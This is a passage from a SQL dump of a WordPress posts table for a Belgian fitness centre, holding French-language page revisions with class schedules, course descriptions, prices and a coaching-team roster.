class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 19:12:49', '2013-07-03 19:12:49', '', 11, 'http://www.crosstrainingcenter.be/?p=231', 0, 'revision', '', 0),
(233, 1, '2013-07-03 19:31:37', '2013-07-03 19:31:37', '', 'damien_pierrard-pti', '', 'inherit', 'open', 'open', '', 'damien_pierrard-pti', '', '', '2013-07-03 19:31:37', '2013-07-03 19:31:37', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(234, 1, '2013-07-03 19:31:45', '2013-07-03 19:31:45', '', 'guelor-pti', '', 'inherit', 'open', 'open', '', 'guelor-pti', '', '', '2013-07-03 19:31:45', '2013-07-03 19:31:45', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(235, 1, '2013-07-03 19:31:52', '2013-07-03 19:31:52', '', 'julie_pierrard-pti', '', 'inherit', 'open', 'open', '', 'julie_pierrard-pti', '', '', '2013-07-03 19:31:52', '2013-07-03 19:31:52', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(236, 1, '2013-07-03 19:31:58', '2013-07-03 19:31:58', '', 'julien_meulemans-pti', '', 'inherit', 'open', 'open', '', 'julien_meulemans-pti', '', '', '2013-07-03 19:31:58', '2013-07-03 19:31:58', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(237, 1, '2013-07-03 19:32:05', '2013-07-03 19:32:05', '', 'mathieu_gille-pti', '', 'inherit', 'open', 'open', '', 'mathieu_gille-pti', '', '', '2013-07-03 19:32:05', '2013-07-03 19:32:05', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(238, 1, '2013-07-03 19:06:30', '2013-07-03 19:06:30', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:06:30', '2013-07-03 19:06:30', '', 20, 'http://www.crosstrainingcenter.be/?p=238', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(240, 1, '2013-07-03 19:35:31', '2013-07-03 19:35:31', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:35:31', '2013-07-03 19:35:31', '', 20, 'http://www.crosstrainingcenter.be/?p=240', 0, 'revision', '', 0),
